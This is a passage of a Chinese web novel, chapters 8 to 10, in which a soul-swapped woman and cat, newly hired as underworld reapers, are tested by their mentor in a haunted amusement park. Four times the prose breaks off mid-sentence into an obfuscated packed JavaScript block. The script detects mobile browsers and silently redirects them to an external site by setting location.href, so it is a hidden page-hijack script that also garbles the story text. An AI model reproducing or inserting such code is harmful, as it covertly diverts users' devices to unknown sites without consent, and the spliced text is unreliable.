屏幕上只有一行简略的信息: 【生魂:于等等。状态:死亡未勾销。滞留地点:……】 “我这里,”正月的声音毫无波澜,“只有死亡但未到位的生魂‘于等等’。” “谁是同事?” 猫等等脑子“嗡”的一声,爪子不自觉抠紧了床单,原本已经有些放松的元宝也再次绷紧身体。 “即……即便如此,大人,你也锁错人了。” 猫等等强迫自己冷静,爪子一指自己,“我才是于等等!他是元宝!我们灵魂互换了,魏判官知道详情,你可以找他核实!” “哦?”正月挑眉,目光在猫和人之间来回扫视。 元宝伸出手,将挡在他面前的猫等等轻轻拨到身后。 “我们的入职手续合规,系统或许有延迟或误判。在魏判官到来核实清楚之前,你不能带她走。” 房间陷入寂静,一人一鬼一猫昏暗的光线中诡异地对视着。 几秒后,正月忽然嗤笑一声,那身吓人的威严感瞬间散了大半。 他打了个响指,元宝脖子上的锁链“唰”地消失。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195686|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “行了,别紧张了。”他走到床边椅子坐下,长腿交叠,语气懒洋洋的。 “反应还行。” 猫等等和元宝同时愣住。 只见正月面前跳出一个光屏,他手指飞快划拉几下,拨了个视频通话。 对面几乎是秒接。 魏今安那张焦急又带着怒气的脸挤满了屏幕,声音在卧室炸开,还伴随着东西被撞倒的动静: “正月!!!你个老六!!!!!” “你对我家新人干什么了??!我让你去指导一下新人注意事项,你又没事吓唬孩子是吧?!俩孩子魂体波动记录都快上天了!你缉魂司闲得蛋疼是吧?!快给我住手!!!” 咆哮声在卧室里回荡。 正月掏着耳朵听他嚎完,把屏幕转向床边一脸懵逼的一人一猫: “喏,完好无损。考察默契度也是指导的重要一环。” “测试还算合格,至少没丢下搭档自己跑,也知道要等上级核实。以后,这俩小家伙就由我带着了。” “你少来这套!”魏今安在屏幕那头气得跳脚。 “上次你对实习牛头马面也这么指导,差点把人家吓到魂飞魄散!你那是带新人吗?你那是恐吓!” “正月我告诉你,你再这样我……我就把你上次在忘川河边偷钓孟婆养的彩虹锦鲤还烤了吃的事告诉孟婆!” “……”正月脸上的淡定出现了一丝裂痕。 猫等等&元宝:“……” 信息量有点大。 正月对着光屏轻咳一声:“老魏,注意形象。” “我这是在帮他们提前适应地府工作的多样性。行了,人你也看到了,一根毛都没少。挂了。” 不等魏今安再咆哮,他干脆利落地挂了电话。 房间里温度回升了一些。 正月看向还保持着防御姿态的一人一猫,语气难得缓和了点: “锁魂链是吓唬你们的,没注入法力。你应该感觉到了吧?轻得跟纸糊的一样。” 他饶有兴致地看向元宝。 “感觉到了。”元宝点头。 “既然感觉到了,怎么还那么紧张?” 元宝这次没回答,只是目光沉沉地看向正月,手还挡在猫等等面前。 微弱的暖流划过铃铛。 【系统提示:协同度+3.7%。当前协同度:29%。】 正月眉梢微挑,似乎感应到了什么,嘴角的笑意深了些没再追问。 “行吧,小孩儿心思还挺重。” “正式认识一下,黑无常正月,魏今安那家伙的……冤种兄弟。他怕自己那半吊子水平教坏新人,死皮赖脸求我来给你们‘加加课’。” 他从怀里摸出张泛着幽光的黑色卡片,随手一弹,精准落在床边。 “我的联系方式。以后魏今安那套不管用了,或者遇到他兜不住的麻烦,找我。” “当然。”正月的表情突然变得意味深长,“像今天这样的随堂小测,说不定哪天心情好还会再来。” 说完,他摆了摆手,身影如同融入阴影般,悄然淡去。 只留下最后一句话飘在房间里: “周日漫展会很有意思,希望你们这对新人组合玩得开心~” 8.当你的导师是地府卷王 房间里彻底安静下来,温度也恢复正常。 猫等等和元宝对视一眼,同时松了口气,又有点哭笑不得。 猫等等扒拉了一下那张黑色卡片,小声嘀咕: “地府的前辈……这么有个性吗?” 元宝伸手将她头顶一撮彻底翘起来的乱毛慢慢抚平:“还好,暂时过关了。” 他捡起那张名片,还没看清上面的内容,名片立马化作幽光飘进二人铃铛里。 【系统提示:已成功添加联系人“黑无常·正月”。】 后面还跟了张正月黑无常装扮的头像,一边嘴角翘起,眼神仿佛藐视万物。 “我们研究下这系统头像怎么换吧,大家都是工作服,就我穿个睡衣,头发还是乱的!” 猫等等戳开自己的个人信息页面,简直无法直视。 “我觉得还好啊。”元宝次过去仔细看了两眼,“嗯,只是风格不一样而已。” 猫等等“……” “元宝,你失忆前,女性朋友应该不多吧?” “为什么?”元宝真诚地问。 “……”猫等等抖了抖胡子,“算了!当我没问!” 她关闭了光屏,打算吃点东西再恶补下【工作区】的理论知识,卧室角落那片阴影忽然又一阵扭曲。 正月高大的身影去而复返。 他抱着手臂靠在门框上,一脸我就知道你们会松懈的表情。 “精神放松得挺快,看来刚才的小测强度还是低了点。” 猫等等&元宝:“……” “前辈,您还有事?”猫等等刚放下的毛又有点炸开。 “你们的情况特殊,提升协同度是第一要务,但……”正月走到房间中央,目光在两人身上扫过,“整天坐在办公室可聊不出协同度。” 猫等等和元宝对视一眼,心里同时升起不妙的预感。 “换上你们的无常制服,拿上对讲器。给你们十秒。” “现、现在?!” 猫等等脱口而出,尾巴尖不自觉地绷紧。 “九。” 正月已经开始倒数。 猫等等吓得一激灵,两人不敢再耽搁,立马集中意念。 她的猫身快速拉伸,再次化为人形,身上还是那套利落的黑色无常劲装,元宝也重新变回奶牛猫形态,头顶小白帽。 两人几乎是同时将对讲器从系统仓库取出,各自带好。 “时间到。” 正月扫了他们一眼,抬手打了个清脆的响指。 空间一阵扭曲。 下一秒,潮湿微凉的夜风扑面而来。 他们站在油漆剥落的铁艺大门外。 门头上,勉强能辨认出“欢乐谷游乐场”几个褪色的卡通字体。 门内,巨大的摩天轮静止在昏沉的天空下,过山车的轨道错乱地盘旋,旋转木马的顶棚塌陷了一角,露出里面色彩黯淡的木马。 “这是……”于等等环顾四周,下意识地抓紧了臂上的锁魂链。 “北郊废弃的游乐场。” 正月的声音从旁边传来,他负手而立,目光投向那片寂静的设施。 “人气散了,阳气弱了,便成了某些东西的乐园。” 元宝蹲坐在猫等等脚边,异色瞳盯着那扇铁门,耳朵微微抖动。 “里面现在有个麻烦。” “一个怨灵盘踞在这儿,把附近迷茫的游魂全骗过来,困在游乐场里陪它玩过家家。给那些游魂植入虚假记忆,让他们扮演游客、工作人员、甚至旋转木马上的玩偶。” “你们任务很简单,三小时内找到那个怨灵的位置,就算合格。至于抓捕,”正月扯了扯嘴角,“以你们现在的水平,正面打就是送菜。” “那我们怎么找?”于等等问。 “混进去,在不露馅的情况下,扮演你们的角色。” 正月伸手入怀,摸出两张看起来灰扑扑的符纸,随手拍在两人身上。 符纸触体即化,一股微凉的气息瞬间包裹二人全身。 “它能暂时隐去无常气息。不过伪装撑不了太久,也别指望用它跟怨灵动手,一用魂力就会破。记住,暴露得越早,难度越大。” “我会在附近看着。” 他目光扫过两人,语气加重:“除非你们快被吓哭,否则我不会出手。” 猫等等和元宝对视一眼,都从对方眼中看到了凝重。 “最后,”正月掌心浮现四道虚影,“是无常的基础法器教程。我只演示一次,看清楚了。” 话音落下,一道漆黑锁链自他掌心蜿蜒而出,又哗啦一声又缩回:“【锁魂链】,拘魂之用,可长可短,随心意动。” 接着,一柄造型古朴的玄色镰刀虚影浮现:“【斩魄镰】,专斩执念深重的怨魂,但对使用者的魂力消耗极大,慎用。” 随即,一柄半透明的白伞在他身侧展开:“【净魂伞】,白无常标配。展开可净化魂体怨气,也能抵挡部分灵魂攻击。” 最后是一面精致的白色招魂幡:“【招魂幡】,可引导迷茫游魂,也能短暂震慑低阶怨灵。” 虚影消散。 正月看着他们:“记住了?” 猫等等用力点头,元宝也嗯了一声。 “好。”正月退后一步,身影开始淡去,“角色自己选,游乐园里缺什么就扮什么。三小时,开始。” “等等!”猫等等急忙开口,“要是我们……” 话没说完,正月已彻底消失,声音飘在夜风里:“倒计时开始。” 猫等等噎住,和脚边的元宝大眼瞪小眼。 “……他绝对是故意的。”猫等等咬牙,蹲下身把元宝抱起来,“算了,走吧。” 于等等深吸一口气,硬着头皮推开生锈的铁门。 跨过门槛的瞬间,她的脚步顿住。 眼前哪是什么废弃游乐场,旋转木马闪着彩灯缓缓转动,摩天轮的轿厢亮着暖光,远处还传来欢快的八音盒音乐。 至于那些游客们…… 猫等等视线扫过他们,背脊渐渐发凉。 旋转木马上坐着几孩子游魂,咯咯笑着,眼眶是黑洞洞的两团。 棉花糖摊前,一个中年女游魂机械地重复着递出棉花糖的动作,尽管她面前空无一人。 更多的游魂在园区里漫无目的地飘荡,有的穿着几十年前的旧衣服,有的肢体残缺,有的甚至保持着死时的惨状。 但他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208759|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上都挂着僵硬而快乐的笑容。 “……这也太多了。” 她低声对怀里的元宝说,声音有点发干。 元宝警惕地扫视四周:“要混进去,就需要一个合理的角色。想好扮演什么了吗?” 于等等目光落在不远处一个空荡荡的气球摊上。 摊位上插着几束褪色的氢气球,摊主的位置空着,旁边立着块歪斜的牌子: 梦幻气球,10元/个。 “就它了。”她抱着元宝走过去。 摊位很小,只有一张掉漆的木桌和一把塑料凳。 桌上有个小竹篮,里面放着几卷气球,边上还有个打气筒。 于等等把元宝放在桌面上。 “我们今天,就扮演卖气球的女孩和她的猫~” 话音落下,她身上的无常服瞬间幻化成了一套略显陈旧的工作人员制服,元宝脖子上的铃铛也化成了一个小小的宠物牌。 “正月大人的符纸还有这个效果?!”于等等惊讶。 “这个道具挺实用。”元宝晃了晃脖子上的宠物牌,从罐子里叼出一个等待打气的气球放到于等等手心。“会打气球吗?” “没打过,但应该不难。”于等等拿起工具,尝试下手。 第一个气球啪地炸了,声音有点刺耳。 附近几个游魂齐刷刷转头看向她。 于等等心脏一跳,迅速露出一个和周围游魂同款的僵硬笑容,继续打第二个气球。 这次成功了。 一个粉红色的心形气球晃晃悠悠飘起来。 游魂们盯着那个气球看了会,似乎接受了她的存在,继续各自的行为轨迹。 于等等松了口气,一边机械地打气球,一边继续打量四周。 时间一分一秒过去。摊位边渐渐飘起十几个颜色各异的圆球。 她借整理气球的动作,悄悄观察着路过的游魂。 她注意到,游魂们看似玩得尽兴,但动作都带着诡异的重复性。 那个坐海盗船的青年游魂,每次荡到最高点都会发出完全相同的惊呼; 投篮摊前的孩子游魂永远投不中,却永远在重复举球的动作。 “像录影带,都是重复的画面,只在这里看不出什么。”元宝甩了甩尾巴。 于等等将打好的气球都抓紧手里,拍了拍面前的小篮子。 “进来,接下来,我们去扮演游走商贩~” 元宝会意,呲溜一下钻进去,于等等跨起篮子,开始在游乐园里漫无目的地溜达。 刚转过旋转木马的拐角,突然,一只冰凉的手搭在了她的肩膀上。 于等等浑身汗毛瞬间立起。 一个甜腻到诡异的声音在她耳边响起: “你的气球卖我一个,好不好呀?” 于等等心头一紧,脸上却条件反射般扯出与周围游魂如出一辙的空洞笑容。 她缓缓转身,袖中的手微微攥紧。 篮子里,元宝的尾巴无声收紧,绒毛轻轻蹭过她手腕内侧的皮肤。 当看清身后那张咧着嘴笑的脸时,于等等好不容易维持的伪装瞬间垮掉,嘴角不受控制地抽了抽。 “……怎么是你?!” 9.怎么是你?! 眼前人依然是那身花哨衬衫,只是墨镜换成了夸张的卡通眼镜,怀里抱着个巨大的糖果罐,手里还攥着那台熟悉的铜钱相机。 居然白天才见过的地府记者,阿飘。 阿飘把眼镜往下一拉,咧嘴一笑:“缘分呐!没想到在这儿也能碰上!” “你怎么在这里?”于等等压低声音,“又是魏判官安排的?” “哪儿能啊!”阿飘摆摆手,把眼镜推回鼻梁,“我现在是出勤状态,正经工作!” “宣传部也负责抓游魂?” “不不不,”阿飘举起相机,对着不远处正在变戏法的小丑游魂“咔嚓”拍了一张。 这次他没开闪光灯。 “我是来拍素材的,毕竟专供鬼魂的娱乐场所,多稀罕!”阿飘从糖罐里摸了颗糖扔进嘴里:“倒是你们,俩新手来这里做什么,总不会是约会吧?” 篮子里的元宝不动声色瞟了于等等一眼,耳朵动了动。 “我们也是正经任务!”于等等回答,她严重怀疑阿飘是不是还兼职八卦区狗仔。 话音落下,她感觉又有几道游魂的视线飘过来,忽然想起正月的警告:“要么……咱们换个地方聊?” “可以,跟我来!” 阿飘将二人领到一棵偏僻的景观树后面。 于等等把篮子放在地上,元宝立刻跳出来,异色瞳警惕地扫视四周。 “你到这里多久了?”于等等问。 “比你们早来个半小时吧。” 阿飘又拿了颗糖果,塞进嘴里嚼起来。 “不过我昨天就来过一趟了。毕竟干我们这行,得提前采风嘛。” “那你知道这里有怨灵吗?”元宝突然出声。 “知道啊。”阿飘又拍了几张照片后,从口袋里摸出个纽扣形状的小道具。“但既然敢来,自然也是有保命手段的。” 他捏了下纽扣。 下一秒,他身上的花衬衫瞬间变成了一套破旧的工作服,脸也变成了旁边那个扫地游魂的模样。 连那种麻木空洞的表情都模仿得惟妙惟肖。 于等等倒吸一口凉气:“这……” “地府的黑科技~”阿飘变回原样,把纽扣揣回兜里。 就在这时,他忽然盯着于等等上下打量,又弯腰凑近元宝,墨镜后的眼睛越睁越大。 “等等!你这魂体波动……”他指着于等等,“怎么和早上的猫一样?!而这位猫大人的波动……” “灵魂互换?!”阿飘激动地差点跳起来,一把又抄起相机,“还是跨物种的?!这可是能上头条的独家素材!” “阿飘。”元宝抬起头,“我们现在在任务中。” “而且,正月前辈就在附近看着。” 阿飘脸色瞬间更白了点。 他立刻收起相机,下意识环顾四周:“哈哈……开个玩笑,开个玩笑。那什么,你们任务要紧!” 于等等松了口气:“你在这儿踩过点,有什么发现吗?我们得找那个怨灵。” 阿飘又摸出颗糖扔进嘴里,嘎吱嘎吱咬着:“你们要找它?就凭你们俩这……” 他话没说完,但意思很明显。 “只是侦查,找到它的位置就算完成任务。”于等等解释,“时限三小时。” “三小时?”阿飘挑眉,“那你们得抓紧了,这儿可不小。”他看了眼系统时间,“你们已经进来……嚯,三十五分钟了。” “什么?!”于等等一惊,“这么快?!” “正常,在这种执念场里,时间感知容易错乱。”阿飘见怪不怪,“所以你们现在有什么头绪?” “暂时还没有。”于等等说,“打算先观察这些游魂的行为模式,找找有没有不合群的异常个体。” “或者,”元宝补充,“留意哪些设施区域的游魂特别密集或者稀少,怨灵可能会本能地聚集或驱散它们。” 阿飘摸着下巴思索片刻,眼里闪过一丝狡黠的光:“这样吧,咱们做个交易?” “你说。”元宝开口。 “我给你们提供一条可能有用的线索。”阿飘凑近些,压低声音,“作为交换,你们任务完成后,抽半小时给我做个专访。关于灵魂互换的体验,还有这次任务的经历。” 他搓着手补充:“当然,报酬照旧,而且我会保护好二位的隐私!” 于等等看向元宝,元宝微微点头。 “可以。”于等等答应,“但采访内容我们要先过目。” “没问题!”阿飘拍胸脯保证,又从糖果罐里掏出两颗粉色的糖,递给于等等和元宝,“来,合作愉快!地府商城出品,稳定魂体的小零食,算我请客。” 于等等接过糖果,犹豫了一下,还是先放进了口袋。 元宝则只是看了一眼,没有接。 “那么,线索是?”于等等看向阿飘。 “跟我来。”阿飘收起嬉笑,表情认真了些。 “我昨天注意到,东南角的幽灵古堡,也就是这个游乐园的鬼屋,它的鬼气特别旺,进去的游魂数量明显比其他项目多,而且,从里面出来的游魂,脸上的笑容好像更开心一点。” 他特意加重了“开心”两个字。 “鬼屋……”于等等看向那个方向。 一座挂着破败蝙蝠装饰的古堡建筑矗立在园区边缘,入口像张黑洞洞的大嘴。 “我尝试靠近过一次,不过没进去,里面有种让我不太舒服的注视感。你们如果要去,最好小心点,那里面的规则,可能和外面不太一样。” 元宝从篮子里站起来,异色瞳望向鬼屋方向,耳朵警惕地转动着。 “谢了。” 于等等对阿飘点点头, “我们先去那边看看。” “祝你们好运。”阿飘挥挥手,身影慢慢淡去,再次与周围环境融为一体,只有声音隐约传来,“完事儿了记得联系我啊!” 等于等等和元宝走出阴影,阿飘已经不见了。那颗元宝没接的粉色糖果,不知何时被放在了篮子边缘。 于等等捡起糖果,和另一颗放在一起揣进口袋。 她跨起装着元宝的篮子,看向鬼屋入口。 “走了。” 越靠近那座名为幽灵古堡的鬼屋,四周游魂的密度就越高。 那些面孔上僵硬的笑容,似乎真的比园区其他地方更灿烂几分,看得于等等头皮发麻。 她下意识地收紧了握着篮子的手,改用对讲器沟通: (于等等:元宝,是我的错觉吗?总觉得有东西在盯着我们。) (元宝:看鬼屋门口,那个检票员。) 于等等顺着元宝的提示看去。 鬼屋入口处,一个穿着破烂燕尾服、戴着单眼镜片的检票员游魂,正咧着嘴,笑容夸张到几乎裂到耳根。 就在于等等视线落过去的瞬间,那检票员像是感应到了什么,脑袋一帧一帧地转了过来,精准地对上了她的视线。 四目相对。 那咧开的嘴角,弧度又扩大了一分,黑洞洞的眼窝里似乎有什么东西在蠕动。 一股寒气猛地窜上于等等的天灵盖。 与此同时,一个声音在心中疯狂催促着她—— 好想进去……进去看看…… (元宝:他的笑有问题,别看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217450|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睛!) 于等等一个激灵,强行挪开视线,脸上努力维持着呆滞笑容,假装茫然地看向旁边旋转的诡异彩灯。 可那股想进去的念头却像扎了根,越来越强烈。 (元宝:等等,你的方向!) 手腕被毛茸茸的东西缠住,于等等脚步猛地一顿。 等她反应过来自己的动作时,额头渗出冷汗。 她刚刚,差点走到鬼屋检票口的队尾! (于等等:我……我和他对视之后,心里就不断有个声音催我进去。) (元宝:别慌,先离开这里。) 她竭力控制身体,装作漫无目的的样子,慢慢改变方向,朝鬼屋侧面绕去。 (于等等:阿飘说得没错,这鬼屋绝对有问题。) (元宝:先别靠近入口,在外围观察。) 他用尾巴轻轻缠住于等等的手腕,毛茸茸的触感让于等等头脑清醒了不少,不过余光还是忍不住往鬼屋方向瞟。 就在这时,一股浓郁香气飘了过来。于等等转头,看见不远处竟有个卖烤肠的小摊! 一个穿着油腻围裙的游魂,正机械地翻动着烤架上几根滋滋作响的烤肠,香味真实得让人恍惚。 “咕……”一声清晰的腹鸣从于等等肚子里传出。 她脸一热,下意识捂住肚子。 (元宝:饿了?) (于等等:咳……失误。主要是这味儿太勾魂了,比那检票员的眼神还给力。) 她快走几步,离烤肠摊位远了点。 (于等等:被抓壮丁的时候晚饭都没吃,等回去了,我要吃火锅,点最辣的锅底!) (元宝:好,下次可以建议正月前辈,特训前至少提供工作餐。) (于等等想了想:……总觉得,他能给瓶水就不错了。) 几句闲聊之后,紧张的气氛松动了些。 两人绕着鬼屋外围谨慎地转了一圈,中途遇到了个眼神空洞的小女孩游魂,机械地伸出手指指她手里的气球。 于等等顺势拿了个粉色气球给她,除此之外,再没发现明显异常。 两人再次回到可以观察鬼屋入口的隐蔽角落。 于等等强迫自己不去看那个又开始缓缓转头的检票员。 (于等等:看来,线索八成就在里面,不进去不行了……) (元宝:排队游魂,比我们刚才离开时又多了不少。) 于等等也注意到了,而且,每个游魂手里都捏着一张小小的红色票据。 (于等等:他们的票从哪拿的?) 两人借着其他游魂和设施的遮挡,仔细搜寻。终于,在一个装饰用的老式红色电话亭后面,发现了一个穿着醒目黄色外套、戴着鸭舌帽和口罩的游魂。 他手里攥着一沓红色票据,机械地伸出手,将票塞向每一个路过的游魂。 那些游魂则会停顿一下,木然地从身上掏出点东西递过去:一颗糖、一张其他颜色的纸片,甚至有游魂直接脱下外套交换。 (于等等看得眼角直抽:这怨灵……还挺有商业头脑?连票贩子都设计出来了。) (元宝沉默了一秒:……自给自足,产业链完善。) 于等等从怀里摸出阿飘给的那两颗糖果,在掌心掂了掂,嘴角勾起一抹带着点狡黠的弧度。 (于等等:走,咱们也去搞两张入场券,看看这古堡里到底藏着什么!) (元宝:注意安全,你专心扮演,我负责观察。) (于等等:好~) 她深吸一口气,调整好脸上那种麻木的快乐表情,挎着篮子朝着那位黄牛游魂迈出了脚步。 10.我的娃娃不见了 门推开,于等等看清了里面的样子。 一个布置温馨的小客厅。老旧的电视机正放着动画片,彩色的光影在地毯上一跳一跳。地毯上坐着一个六七岁的小女孩,碎花裙,羊角辫,盯着电视看得入神。 听到开门声,她转过头来。 于等等倒吸一口冷气。 这个洋娃娃般的小女孩,竟然和刚刚找她要气球的小游魂,长得一模一样! 看到于等等的瞬间,小女孩立刻绽开一个灿烂的笑容:“妈妈,你回来啦!” 称呼两个字砸进耳朵里,于等等后背泛起一层鸡皮疙瘩。 她还没来得及反应,小女孩已经从地毯上爬起,抱着洋娃娃朝她小跑过来,目光落在于等等挎着的篮子上。 “妈妈,这是你给我带的礼物吗?” 她边说边伸出手,于等等下意识后退了半步。 小女孩的手停在半空,脸上的笑容淡了下去,眼中蒙上一层水雾。 “妈妈,这不是给我的礼物吗?” 看着那张委屈的小脸,于等等抓住篮子的手愈发收紧。 (于等等:元宝……你看到了吗,她怀里的那个娃娃,在眨眼……) (元宝:嗯,先试试配合她,这个空间的另一个规则可能就【扮演】) 随着小女孩的情绪变化,室内的光线也跟着闪烁。 于等等咽了口唾沫,俯下身放柔声音:“这就是妈妈给你的礼物呀,是小猫,会咬人,你需要隔着篮子看他哦。” 她把篮子往前推了推。 小女孩立刻破涕为笑,伸手来接。 可就在她碰到篮子的刹那,房间里的灯光又开始剧烈闪烁,电视屏幕变一片雪花噪点,刺耳的电流声扎进耳膜。 与此同时,小女孩伸出的那只手,在闪烁的灯光下迅速泛出青白,指甲一点点变长变黑,,指尖渗出黏腻的水珠。 滴答。滴答。 冰凉的水珠溅到于等等手背上,凉得她一个哆嗦。 电光火石间,于等等瞥见电视柜后面缓缓飘起一个粉色气球。 正是她之前送出去的那个! 她一把撤回篮子,语气多了一丝严肃: “妈妈不是早就把礼物给你了吗?”她努力维持住表情,指了指那个气球,“还是你亲自找妈妈要的。” 小女孩的手迅速恢复正常,周围异象也开始迅速平息,电视重新播放起卡通片。 她有些不好意思地低下头,把怀里的娃娃抱得更紧。 “嘿嘿,和妈妈开个玩笑嘛。” (于等等:……这个玩笑有点危险。) (元宝:现在她欠我们一个东西,你说,消息算交换筹码吗?) 于等等心头一动。 “可以告诉妈妈,你今天在家都做了什么吗?” “就看电视呀!我今天可乖了。” 小女孩扬着下巴,拍了拍胸脯,忽然小脸一皱,指向走廊另一端的蓝色房门。 “不像爸爸,他今天一点也不听话,睡了一天了,又懒又吵。我非常不喜欢。” 爸爸?睡觉?吵? 于等等看了元宝一眼,还想再问,小女孩忽然打了个哈欠,揉着眼睛贴近她。 “妈妈,我困了……你可以给我讲睡前故事吗?” 看着她开始朦胧的眼神,于等等还没想好怎么回答,灯光又开始闪烁。 (元宝:我们好像被强买强卖了……) (于等等:……) (于等等:算了,解锁了新角色,不算亏。) 门后是个再普通不过的儿童房。 小床,小书桌,上面摆着褪了色的玩具,窗帘上印着星星和月亮。 于等等为小女孩掖好被子,开始绞尽脑汁回忆看过的童话。 第一个故事讲到一半,小女孩的眼睛还睁着。 第二个故事讲完,她翻了个身。 第三个故事讲到结局,床上终于传来均匀的呼吸声。 她盯着那张小脸看了几秒,确认睫毛不再颤动,才小心地退出房间,轻轻带上门。 门合上的瞬间,于等等长长吐出一口气。 “可算睡着了……不然我是真编不出第四个故事了。”她低头看了眼篮子,“我讲得怎么样?” “你想听真话还是假话?” 于等等眯起眼:“你学坏了啊,还会让人选这个?” “咳。”元宝移开视线,“不选算了。” 看着元宝有些别扭地侧过脸,于等等想了想:“那假话吧?” “假话是,讲得很好,下次还让你讲。” “那真话呢?” “真话是……我都没听过,所以不知道好坏。” 于等等噎了一下,随即笑出声。 “好吧。忘了您老失忆了。” 她把篮子抬高了一点,发丝扫到元宝的耳朵尖。那只耳朵敏感地抖了抖。 “那你想听真话还是假话?” “真话。” “好。”于等等戳了戳他的小脑袋,步伐调转向那扇蓝色的房门。 “真话是,我刚才紧张得要死,怕讲错,怕露馅,怕那个小女孩忽然翻脸。” “但讲着讲着……就没那么怕了。” 她低头看了眼缓缓缠上手腕的尾巴,温热的触感让她步伐更稳了些。 “为什么?”元宝问。 “正月大佬说了,吓哭就会出手。”于等等一本正经,“只要我哭得够快,她就伤害不到我。” 手腕上的尾巴一僵。 “……其实还有一句真话我没讲完。”元宝换了个姿势,声音从篮子里闷闷地传上来。 “嗯?” “你讲故事的时候,声音很好听。” 于等等的脚步极不可查地一顿。 “……那我就当你夸我了。”她继续往前走,“但是提前说明,没有奖励哦。” “嗯。真话,不需要奖励。” 于等等扬了扬嘴角,在那扇掉漆的蓝色木门前驻足。 她侧耳倾听。 一片死寂。 又听了会儿,还是没有声音。 (于等等:找错地方了?说好的爸爸很吵呢?) (元宝:有声音,很轻。不过不是人声。) 他耳朵转动了两下。 (元宝:是水滴声,很规律。) “怎么又是水?刚刚那小女孩的手也在滴水。” 于等等皱眉打量了会儿那古铜色的门把手,锈迹斑斑,带着潮气。 她心一横,一把握了上去。 巨大的潮湿气息扑面而来。 空气消失的瞬间,于等等本能地将篮子抱进怀里。 眼前一片黑暗,耳边只剩下咕噜咕噜的水声,四肢像灌了铅一样不断下沉,胸口越来越闷。 就在她意识开始模糊时,手腕忽然被一只手握住。 一道巨力将她向上拉去,颤抖的力道从她的手腕一路传到心脏。 “哈——” 于等等猛地睁眼,大口喘息,肺里火烧火燎。 粉色的儿童房,斑驳的玩具,熟睡的小女孩。 她依然坐在床边,仿佛从未离开。 可窒息残留的恐慌堵在胸口,告诉她刚刚发生的并非错觉,手腕上还停留着被握紧的触感。 她低头看去。 一条毛茸茸的尾巴正紧紧缠在上面。尾巴尖的那点白因为用力而绷得笔直。 元宝前爪搭在篮子边缘,仰头看她。 嘴巴微张,小胸脯起伏得厉害,异色瞳里那点没来得及收回去的焦急,直直落进于等等眼里。 心脏像被什么东西软软撞了一下。 她伸手想去检查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259092|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元宝的状态,床上忽然传来窸窣声响,小女孩睫毛微动。于等等立刻捂住嘴,强迫自己放缓呼吸,另一只手轻轻挎起篮子。 起身时膝盖一软,撞到床头柜上的积木。 元宝的尾巴迅速从她腕上撤下,轻轻一勾,将积木推回了原位。 于等等惊魂未定地稳住身形,屏息看向床上。 小女孩翻了个身,咂了咂嘴,继续沉睡。 她蹑手蹑脚地退出去,房门合上的瞬间,整个人靠着掉漆的门板长长吐出一口气。 走廊里那股霉味又飘了过来。 于等等低头看向篮子,元宝还保持着仰头的姿势,那双眼睛在昏暗的光线里亮得惊人。 “刚才……”于等等声音有点哑,“我好像溺水了。” 元宝抬头看她,耳朵动了动:“我也是。” 于等等搓了搓手腕,那里还残留着被握紧的触感。 “正月大人不至于真的等到我们哭才出手吧?至少……应该不会真让咱们交代在这里?” 元宝声音还有点虚:“应该不会。” 他甩了下尾巴,又干巴巴补充:“大概。” 于等等:“……” 于等等抚着胸口顺气。 溺水残留的窒息感还堵在那里,怎么都散不干净。 “所以我们刚刚又违背了哪条规……” 话说到一半,她的手在衣襟上摁了两下。 硬的。 她怔愣了一瞬,随后快速探进去,从夹层里翻出那两张红色票据。 盯着手里的票,于等等嘴角抽了抽,抬头看向篮子里的元宝。 “不会这么简单吧?” 元宝的耳朵扯成了飞机耳,毛茸茸的脸上表情看着也不太妙。 “……进门需要门票,确实挺符合这游乐园简单直白的规则风格。” 行吧。 于等等将篮子往上拖了拖,手指不经意间蹭过那条垂在篮边的尾巴。 “那就再试试。”她看了眼那扇蓝色木门,“反正已经溺水过一次了,大不了再来一次,这次我们提前做好心理准备。” “嗯。”元宝的尾巴重新缠上她的手腕,“我们一起。” 手腕上再次传来毛茸茸的触感。 于等等低头看了眼那条尾巴,又移开视线,心绪莫名缓和了些。 二人再次站到那扇蓝色木门前。 